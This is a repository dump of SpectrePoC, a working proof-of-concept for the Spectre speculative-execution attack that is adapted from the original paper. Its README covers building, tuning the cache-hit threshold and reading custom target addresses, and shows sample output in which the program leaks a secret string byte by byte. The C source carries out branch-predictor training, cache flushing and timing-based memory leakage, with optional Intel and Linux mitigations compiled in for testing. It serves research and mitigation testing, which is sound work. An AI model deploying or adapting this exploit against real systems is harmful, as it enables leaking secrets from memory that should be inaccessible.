[
  {
    "path": ".gitignore",
    "content": "# Prerequisites\n*.d\n\n# Object files\n*.o\n*.ko\n*.obj\n*.elf\n\n# Linker output\n*.ilk\n*.map\n*.exp\n\n# Precompiled Headers\n*.gch\n*.pch\n\n# Libraries\n*.lib\n*.a\n*.la\n*.lo\n\n# Shared objects (inc. Windows DLLs)\n*.dll\n*.so\n*.so.*\n*.dylib\n\n# Executables\n*.exe\n*.out\n*.app\n*.i*86\n*.x86_64\n*.hex\n\n# Debug files\n*.dSYM/\n*.su\n*.idb\n*.pdb\n\n# Kernel Module Compile Results\n*.mod*\n*.cmd\n.tmp_versions/\nmodules.order\nModule.symvers\nMkfile.old\ndkms.conf\n"
  },
  {
    "path": "Makefile",
    "content": "CFLAGS += -std=c99 -O0\n\nPROGRAM = spectre.out\nSOURCE  = spectre.c\n     \nall: $(PROGRAM)\n\nGIT_SHELL_EXIT := $(shell git status --porcelain 2> /dev/null >&2 ; echo $$?)\n\n# It can be non-zero when not in git repository or git is not installed.\n# It can happen when downloaded using github's \"Download ZIP\" option.\nifeq ($(GIT_SHELL_EXIT),0)\n# Check if working dir is clean.\nGIT_STATUS := $(shell git status --porcelain)\nifndef GIT_STATUS\nGIT_COMMIT_HASH := $(shell git rev-parse HEAD)\nCFLAGS += -DGIT_COMMIT_HASH='\"$(GIT_COMMIT_HASH)\"'\nendif\nendif\n     \n$(PROGRAM): $(SOURCE) ; $(CC) $(CFLAGS) -o $(PROGRAM) $(SOURCE)\n     \nclean: ; rm -f $(PROGRAM)\n"
  },
  {
    "path": "README.md",
    "content": "# SpectrePoC\n\nProof of concept code for the Spectre CPU exploit.\n\n## Attribution\n\nThe source code originates from the example code provided in the \"Spectre Attacks: Exploiting Speculative Execution\" paper found here:\n\nhttps://spectreattack.com/spectre.pdf\n\nThe original source code used in this repository was conveniently provided by Erik August's gist, found here: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6\n\nThe code has been modified to fix build issues, add workaround for older CPUs, and improve comments where possible.\n\n## Building\n\nThe project can be built with GNU Make and GCC.\n\nOn debian these are included in the `build-essential` metapackage.\n\nBuilding is as easy as:\n\n`cd SpectrePoC`\n\n`make`\n\nThe output binary is `./spectre.out`.\n\n### Mitigations\n\nSeveral mitigations are available for Spectre.\n\nThese can be can be optionally compiled into the binary in order to test their effectiveness on various processors.\n\n#### Intel lfence style mitigation\n\nIf you want to build a version with Intel's lfence mitigation included, set your `CFLAGS`\n\n`CFLAGS=-DINTEL_MITIGATION`\n\nin the `Makefile` or build like\n\n`CFLAGS=-DINTEL_MITIGATION make`\n\n#### Linux kernel style mitigation\n\nIf you want to build a version with Linux kernel array_index_mask_nospec() mitigation included, set your `CFLAGS`\n\n`CFLAGS=-DLINUX_KERNEL_MITIGATION`\n\nin the `Makefile` or build like\n\n`CFLAGS=-DLINUX_KERNEL_MITIGATION make`\n\n### Building for older CPUs\n\nDepending on the CPU, certain instructions will need to be disabled in order for the program to run correctly.\n\nThe instructions in question are:\n\n#### rdtscp:\n\nIntroduced with x86-64.\nAll 32-bit only CPUs, including many Core 2 Duos, will need to disable this instruction.\n\nTo build the project without `rdtscp`, define the NORDTSCP cflag:\n\n`CFLAGS=-DNORDTSCP make` \n\n#### mfence:\nIntroduced with SSE2.\nMost CPUs pre-Pentium 4 will need to disable this instruction.\n\nTo build the project without `mfence`, define the NOMFENCE cflag:\n\n`CFLAGS=-DNOMFENCE make`\n\n#### clflush\nIntroduced with SSE2.\nMost CPUs pre-Pentium 4 will need to disable this instruction.\n\nTo build the project without `clflush`, define the NOCLFLUSH cflag:\n\n`CFLAGS=-DNOCLFLUSH make`\n\n#### Multiple cflags\n\nTo define multiple cflags, separate each cflag with an escaped space. For example:\n\n`CFLAGS=-DNORDTSCP\\ -DNOMFENCE\\ -DNOCLFLUSH make`\n\n#### SSE2 instruction set\n\nTo build the project without all of the above instructions introduced with SSE2, define NOSSE2 cflag:\n\n`CFLAGS=-DNOSSE2 make`\n\n`NOSSE2` is automatically enabled if the `__SSE__` flag is present but `__SSE2__` is absent.\nThis means `NOSSE2` shouldn't need to be manually specified when compiling on Clang or GCC on non-SSE2 processors.\n\nOn MSC, `NOSSE2` is automatically enabled if the `_M_IX86_FP` flag is set to `1` (indicating SSE support, but no SSE2 support).\nMSC will set this by default for all x86 processors.\n\n#### 'Target specific option mismatch' error\n\nSome 32-bit versions of gcc (e.g. the version used in Ubuntu 14.04) may show the following error while compiling the PoC:\n\n```\n/usr/lib/gcc/i686-linux-gnu/5/include/emmintrin.h:1479:1: error:\n  inlining failed in call to always_inline\n`_mm_clflush`: target specific option mismatch\n _mm_clflush (void const *__A)\n ^\n```\n\nIn this case architecture build flag `-march=native` is required for compilation for the current CPU:\n\n`CFLAGS=-march=native make`\n\nThis flag builds the binary specifically for the current CPU and it may crash after copying to another machine.\n\n### Building it without using the Makefile\n\nIf you want to build it manually, make sure to disable all optimisations (aka, don't use -O2), as it will break the program.\n\n## Executing\n\nTo run spectre with default cache hit threshold of 80, and the secret example string \"The Magic Words are Squeamish Ossifrage.\" as the target, run `./spectre.out` with no command line arguments.\n\n**Example:** `./spectre.out`\n\nThe cache hit threshold can be specified as the first command line argument. It must be a whole positive integer.\n\n**Example:** `./spectre.out 80`\n\nA custom target address and length can be given as the second and third command line arguments, respectively.\n\n**Example:** `./spectre.out 80 12345678 128`\n\n## Tweaking\n\nIf you're getting lackluster results, you may need to tweak the cache hit threshold. This can be done by providing a threshold as the first command line argument.\n\nWhile a value of 80 appears to work for most desktop CPUs, a larger value may be required for slower CPUs, and the newest desktop CPUs can go as low as 15.\nFor example, on an Intel(R) Core(TM) i7-8650U CPU (Surface Book 2), a value of 20 works well. On a slower, integrated AMD GX-412TC SOC (PC Engines APU3), a value of 100-300 was required to get a good result.\n\n## Contributing\n\nFeel free to add your results to the \"Results\" issue. Include your cache hit threshold, OS details, CPU details like vendor Id, family, model name, stepping, microcode, MHz, and cache size. The OS can be found by running `uname -a`. CPU info can be found by running `cat /proc/cpuinfo` on Linux, and `sysctl -a | grep machdep.cpu` on OSX.\n\n## Example output\n\nThe following was output on an Intel(R) Core(TM) i7-8650U CPU, with a cache hit threshold of 20:\n\n`./spectre.out 20:`\n\n```\nVersion: commit 04c47db298920eb4d1b7c1bafcd0017a72d415bc\nUsing a cache hit threshold of 20.\nBuild: RDTSCP_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED INTEL_MITIGATION_DISABLED LINUX_KERNEL_MITIGATION_DISABLED\nReading 40 bytes:\nReading at malicious_x = 0xffffffffffdfeeb8... Success: 0x54=’T’ score=187 (second best: 0x00=’?’ score=92)\nReading at malicious_x = 0xffffffffffdfeeb9... Unclear: 0x68=’h’ score=967 (second best: 0x00=’?’ score=486)\nReading at malicious_x = 0xffffffffffdfeeba... Unclear: 0x65=’e’ score=985 (second best: 0x00=’?’ score=566)\nReading at malicious_x = 0xffffffffffdfeebb... Unclear: 0x20=’ ’ score=965 (second best: 0x00=’?’ score=659)\nReading at malicious_x = 0xffffffffffdfeebc... Unclear: 0x4D=’M’ score=978 (second best: 0x00=’?’ score=700)\nReading at malicious_x = 0xffffffffffdfeebd... Unclear: 0x61=’a’ score=967 (second best: 0x00=’?’ score=654)\nReading at malicious_x = 0xffffffffffdfeebe... Success: 0x67=’g’ score=705 (second best: 0x00=’?’ score=345)\nReading at malicious_x = 0xffffffffffdfeebf... Unclear: 0x69=’i’ score=974 (second best: 0x6A=’j’ score=768)\nReading at malicious_x = 0xffffffffffdfeec0... Unclear: 0x63=’c’ score=615 (second best: 0x00=’?’ score=310)\nReading at malicious_x = 0xffffffffffdfeec1... Success: 0x20=’ ’ score=2\nReading at malicious_x = 0xffffffffffdfeec2... Success: 0x57=’W’ score=13 (second best: 0x00=’?’ score=3)\nReading at malicious_x = 0xffffffffffdfeec3... Success: 0x6F=’o’ score=17 (second best: 0x00=’?’ score=1)\nReading at malicious_x = 0xffffffffffdfeec4... Success: 0x72=’r’ score=11 (second best: 0x00=’?’ score=4)\nReading at malicious_x = 0xffffffffffdfeec5... Unclear: 0x64=’d’ score=7 (second best: 0x00=’?’ score=6)\nReading at malicious_x = 0xffffffffffdfeec6... Success: 0x73=’s’ score=31 (second best: 0x00=’?’ score=13)\nReading at malicious_x = 0xffffffffffdfeec7... Unclear: 0x20=’ ’ score=7 (second best: 0x00=’?’ score=6)\nReading at malicious_x = 0xffffffffffdfeec8... Success: 0x61=’a’ score=43 (second best: 0x00=’?’ score=20)\nReading at malicious_x = 0xffffffffffdfeec9... Success: 0x72=’r’ score=189 (second best: 0x00=’?’ score=91)\nReading at malicious_x = 0xffffffffffdfeeca... Success: 0x65=’e’ score=2\nReading at malicious_x = 0xffffffffffdfeecb... Unclear: 0x20=’ ’ score=7 (second best: 0x00=’?’ score=6)\nReading at malicious_x = 0xffffffffffdfeecc... Unclear: 0x53=’S’ score=151 (second best: 0x00=’?’ score=78)\nReading at malicious_x = 0xffffffffffdfeecd... Success: 0x71=’q’ score=57 (second best: 0x00=’?’ score=26)\nReading at malicious_x = 0xffffffffffdfeece... Success: 0x00=’?’ score=5\nReading at malicious_x = 0xffffffffffdfeecf... Success: 0x65=’e’ score=33 (second best: 0x00=’?’ score=14)\nReading at malicious_x = 0xffffffffffdfeed0... Success: 0x61=’a’ score=115 (second best: 0x62=’b’ score=55)\nReading at malicious_x = 0xffffffffffdfeed1... Unclear: 0x6D=’m’ score=21 (second best: 0x00=’?’ score=15)\nReading at malicious_x = 0xffffffffffdfeed2... Unclear: 0x69=’i’ score=961 (second best: 0x6A=’j’ score=593)\nReading at malicious_x = 0xffffffffffdfeed3... Success: 0x73=’s’ score=37 (second best: 0x00=’?’ score=18)\nReading at malicious_x = 0xffffffffffdfeed4... Success: 0x68=’h’ score=253 (second best: 0x00=’?’ score=122)\nReading at malicious_x = 0xffffffffffdfeed5... Unclear: 0x20=’ ’ score=9 (second best: 0x00=’?’ score=5)\nReading at malicious_x = 0xffffffffffdfeed6... Success: 0x4F=’O’ score=315 (second best: 0x00=’?’ score=156)\nReading at malicious_x = 0xffffffffffdfeed7... Success: 0x73=’s’ score=21 (second best: 0x00=’?’ score=8)\nReading at malicious_x = 0xffffffffffdfeed8... Success: 0x73=’s’ score=27 (second best: 0x00=’?’ score=9)\nReading at malicious_x = 0xffffffffffdfeed9... Success: 0x69=’i’ score=51 (second best: 0x00=’?’ score=16)\nReading at malicious_x = 0xffffffffffdfeeda... Success: 0x66=’f’ score=2\nReading at malicious_x = 0xffffffffffdfeedb... Unclear: 0x72=’r’ score=53 (second best: 0x00=’?’ score=31)\nReading at malicious_x = 0xffffffffffdfeedc... Success: 0x61=’a’ score=7 (second best: 0x00=’?’ score=3)\nReading at malicious_x = 0xffffffffffdfeedd... Success: 0x67=’g’ score=2\nReading at malicious_x = 0xffffffffffdfeede... Success: 0x65=’e’ score=2\nReading at malicious_x = 0xffffffffffdfeedf... Success: 0x2E=’.’ score=35 (second best: 0x00=’?’ score=8)\n```\n"
  },
  {
    "path": "spectre.c",
    "content": "/*********************************************************************\n*\n* Spectre PoC\n*\n* This source code originates from the example code provided in the \n* \"Spectre Attacks: Exploiting Speculative Execution\" paper found at\n* https://spectreattack.com/spectre.pdf\n*\n* Minor modifications have been made to fix compilation errors and\n* improve documentation where possible.\n*\n**********************************************************************/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#ifdef _MSC_VER\n#include <intrin.h> /* for rdtsc, rdtscp, clflush */\n#pragma optimize(\"gt\",on)\n#else\n#include <x86intrin.h> /* for rdtsc, rdtscp, clflush */\n#endif /* ifdef _MSC_VER */\n\n/* Automatically detect if SSE2 is not available when SSE is advertized */\n#ifdef _MSC_VER\n/* MSC */\n#if _M_IX86_FP==1\n#define NOSSE2\n#endif\n#else\n/* Not MSC */\n#if defined(__SSE__) && !defined(__SSE2__)\n#define NOSSE2\n#endif\n#endif /* ifdef _MSC_VER */\n\n#ifdef NOSSE2\n#define NORDTSCP\n#define NOMFENCE\n#define NOCLFLUSH\n#endif\n\n/********************************************************************\nVictim code.\n********************************************************************/\nunsigned int array1_size = 16;\nuint8_t unused1[64];\nuint8_t array1[16] = {\n  1,\n  2,\n  3,\n  4,\n  5,\n  6,\n  7,\n  8,\n  9,\n  10,\n  11,\n  12,\n  13,\n  14,\n  15,\n  16\n};\nuint8_t unused2[64];\nuint8_t array2[256 * 512];\n\nchar * secret = \"The Magic Words are Squeamish Ossifrage.\";\n\nuint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */\n\n#ifdef LINUX_KERNEL_MITIGATION\n/* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27 */\n/**\n * array_index_mask_nospec() - generate a mask that is ~0UL when the\n * \tbounds check succeeds and 0 otherwise\n * @index: array element index\n * @size: number of elements in array\n *\n * Returns:\n *     0 - (index < size)\n */\nstatic inline unsigned long array_index_mask_nospec(unsigned long index,\n\t\tunsigned long size)\n{\n\tunsigned long mask;\n\n\t__asm__ __volatile__ (\"cmp %1,%2; sbb %0,%0;\"\n\t\t\t:\"=r\" (mask)\n\t\t\t:\"g\"(size),\"r\" (index)\n\t\t\t:\"cc\");\n\treturn mask;\n}\n#endif\n\nvoid victim_function(size_t x) {\n  if (x < array1_size) {\n#ifdef INTEL_MITIGATION\n\t\t/*\n\t\t * According to Intel et al, the best way to mitigate this is to \n\t\t * add a serializing instruction after the boundary check to force\n\t\t * the retirement of previous instructions before proceeding to \n\t\t * the read.\n\t\t * See https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf\n\t\t */\n\t\t_mm_lfence();\n#endif\n#ifdef LINUX_KERNEL_MITIGATION\n    x &= array_index_mask_nospec(x, array1_size);\n#endif\n    temp &= array2[array1[x] * 512];\n  }\n}\n\n\n/********************************************************************\nAnalysis code\n********************************************************************/\n#ifdef NOCLFLUSH\n#define CACHE_FLUSH_ITERATIONS 2048\n#define CACHE_FLUSH_STRIDE 4096\nuint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];\n\n/* Flush memory using long SSE instructions */\nvoid flush_memory_sse(uint8_t * addr)\n{\n  float * p = (float *)addr;\n  float c = 0.f;\n  __m128 i = _mm_setr_ps(c, c, c, c);\n\n  int k, l;\n  /* Non-sequential memory addressing by looping through k by l */\n  for (k = 0; k < 4; k++)\n    for (l = 0; l < 4; l++)\n      _mm_stream_ps(&p[(l * 4 + k) * 4], i);\n}\n#endif\n\n/* Report best guess in value[0] and runner-up in value[1] */\nvoid readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2], int score[2]) {\n  static int results[256];\n  int tries, i, j, k, mix_i;\n  unsigned int junk = 0;\n  size_t training_x, x;\n  register uint64_t time1, time2;\n  volatile uint8_t * addr;\n\n#ifdef NOCLFLUSH\n  int junk2 = 0;\n  int l;\n  (void)junk2;\n#endif\n\n  for (i = 0; i < 256; i++)\n    results[i] = 0;\n  for (tries = 999; tries > 0; tries--) {\n\n#ifndef NOCLFLUSH\n    /* Flush array2[512*(0..255)] from cache */\n    for (i = 0; i < 256; i++)\n      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */\n#else\n    /* Flush array2[256*(0..255)] from cache\n       using long SSE instruction several times */\n    for (j = 0; j < 16; j++)\n      for (i = 0; i < 256; i++)\n        flush_memory_sse( & array2[i * 512]);\n#endif\n\n    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */\n    training_x = tries % array1_size;\n    for (j = 29; j >= 0; j--) {\n#ifndef NOCLFLUSH\n      _mm_clflush( & array1_size);\n#else\n      /* Alternative to using clflush to flush the CPU cache */\n      /* Read addresses at 4096-byte intervals out of a large array.\n         Do this around 2000 times, or more depending on CPU cache size. */\n\n      for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) {\n        junk2 = cache_flush_array[l];\n      } \n#endif\n\n      /* Delay (can also mfence) */\n      for (volatile int z = 0; z < 100; z++) {}\n\n      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */\n      /* Avoid jumps in case those tip off the branch predictor */\n      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=0xFFFFFFFFFFFF0000 if j%6==0, else x=0 */\n      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */\n      x = training_x ^ (x & (malicious_x ^ training_x));\n\n      /* Call the victim! */\n      victim_function(x);\n\n    }\n\n    /* Time reads. Order is lightly mixed up to prevent stride prediction */\n    for (i = 0; i < 256; i++) {\n      mix_i = ((i * 167) + 13) & 255;\n      addr = & array2[mix_i * 512];\n\n    /*\n    We need to accuratly measure the memory access to the current index of the\n    array so we can determine which index was cached by the malicious mispredicted code.\n\n    The best way to do this is to use the rdtscp instruction, which measures current\n    processor ticks, and is also serialized.\n    */\n\n#ifndef NORDTSCP\n      time1 = __rdtscp( & junk); /* READ TIMER */\n      junk = * addr; /* MEMORY ACCESS TO TIME */\n      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */\n#else\n\n    /*\n    The rdtscp instruction was instroduced with the x86-64 extensions.\n    Many older 32-bit processors won't support this, so we need to use\n    the equivalent but non-serialized tdtsc instruction instead.\n    */\n\n#ifndef NOMFENCE\n      /*\n      Since the rdstc instruction isn't serialized, newer processors will try to\n      reorder it, ruining its value as a timing mechanism.\n      To get around this, we use the mfence instruction to introduce a memory\n      barrier and force serialization. mfence is used because it is portable across\n      Intel and AMD.\n      */\n\n      _mm_mfence();\n      time1 = __rdtsc(); /* READ TIMER */\n      _mm_mfence();\n      junk = * addr; /* MEMORY ACCESS TO TIME */\n      _mm_mfence();\n      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */\n      _mm_mfence();\n#else\n      /*\n      The mfence instruction was introduced with the SSE2 instruction set, so\n      we have to ifdef it out on pre-SSE2 processors.\n      Luckily, these older processors don't seem to reorder the rdtsc instruction,\n      so not having mfence on older processors is less of an issue.\n      */\n\n      time1 = __rdtsc(); /* READ TIMER */\n      junk = * addr; /* MEMORY ACCESS TO TIME */\n      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */\n#endif\n#endif\n      if ((int)time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size])\n        results[mix_i]++; /* cache hit - add +1 to score for this value */\n    }\n\n    /* Locate highest & second-highest results results tallies in j/k */\n    j = k = -1;\n    for (i = 0; i < 256; i++) {\n      if (j < 0 || results[i] >= results[j]) {\n        k = j;\n        j = i;\n      } else if (k < 0 || results[i] >= results[k]) {\n        k = i;\n      }\n    }\n    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))\n      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */\n  }\n  value[0] = (uint8_t) j;\n  score[0] = results[j];\n  value[1] = (uint8_t) k;\n  score[1] = results[k];\n  results[0] ^= junk; /* use junk so code above won’t get optimized out*/\n}\n\n/*\n*  Command line arguments:\n*  1: Cache hit threshold (int)\n*  2: Malicious address start (size_t)\n*  3: Malicious address count (int)\n*/\nint main(int argc,\n  const char * * argv) {\n  \n  /* Default to a cache hit threshold of 80 */\n  int cache_hit_threshold = 80;\n\n  /* Default for malicious_x is the secret string address */\n  size_t malicious_x = (size_t)(secret - (char * ) array1);\n  \n  /* Default addresses to read is 40 (which is the length of the secret string) */\n  int len = 40;\n  \n  int score[2];\n  uint8_t value[2];\n  int i;\n\n  #ifdef NOCLFLUSH\n  for (i = 0; i < (int)sizeof(cache_flush_array); i++) {\n    cache_flush_array[i] = 1;\n  }\n  #endif\n  \n  for (i = 0; i < (int)sizeof(array2); i++) {\n    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */\n  }\n\n  /* Parse the cache_hit_threshold from the first command line argument.\n     (OPTIONAL) */\n  if (argc >= 2) {\n    sscanf(argv[1], \"%d\", &cache_hit_threshold);\n  }\n\n  /* Parse the malicious x address and length from the second and third\n     command line argument. (OPTIONAL) */\n  if (argc >= 4) {\n    sscanf(argv[2], \"%p\", (void * * )( &malicious_x));\n\n    /* Convert input value into a pointer */\n    malicious_x -= (size_t) array1;\n\n    sscanf(argv[3], \"%d\", &len);\n  }\n\n  /* Print git commit hash */\n  #ifdef GIT_COMMIT_HASH\n    printf(\"Version: commit \" GIT_COMMIT_HASH \"\\n\");\n  #endif\n  \n  /* Print cache hit threshold */\n  printf(\"Using a cache hit threshold of %d.\\n\", cache_hit_threshold);\n  \n  /* Print build configuration */\n  printf(\"Build: \");\n  #ifndef NORDTSCP\n    printf(\"RDTSCP_SUPPORTED \");\n  #else\n    printf(\"RDTSCP_NOT_SUPPORTED \");\n  #endif\n  #ifndef NOMFENCE\n    printf(\"MFENCE_SUPPORTED \");\n  #else\n    printf(\"MFENCE_NOT_SUPPORTED \");\n  #endif\n  #ifndef NOCLFLUSH\n    printf(\"CLFLUSH_SUPPORTED \");\n  #else\n    printf(\"CLFLUSH_NOT_SUPPORTED \");\n  #endif\n  #ifdef INTEL_MITIGATION\n    printf(\"INTEL_MITIGATION_ENABLED \");\n  #else\n    printf(\"INTEL_MITIGATION_DISABLED \");\n  #endif\n  #ifdef LINUX_KERNEL_MITIGATION\n    printf(\"LINUX_KERNEL_MITIGATION_ENABLED \");\n  #else\n    printf(\"LINUX_KERNEL_MITIGATION_DISABLED \");\n  #endif\n\n  printf(\"\\n\");\n\n  printf(\"Reading %d bytes:\\n\", len);\n\n  /* Start the read loop to read each address */\n  while (--len >= 0) {\n    printf(\"Reading at malicious_x = %p... \", (void * ) malicious_x);\n\n    /* Call readMemoryByte with the required cache hit threshold and\n       malicious x address. value and score are arrays that are\n       populated with the results.\n    */\n    readMemoryByte(cache_hit_threshold, malicious_x++, value, score);\n\n    /* Display the results */\n    printf(\"%s: \", (score[0] >= 2 * score[1] ? \"Success\" : \"Unclear\"));\n    printf(\"0x%02X=’%c’ score=%d \", value[0],\n      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);\n    \n    if (score[1] > 0) {\n      printf(\"(second best: 0x%02X=’%c’ score=%d)\", value[1],\n      (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);\n    }\n\n    printf(\"\\n\");\n  }\n  return (0);\n}\n"
  }
]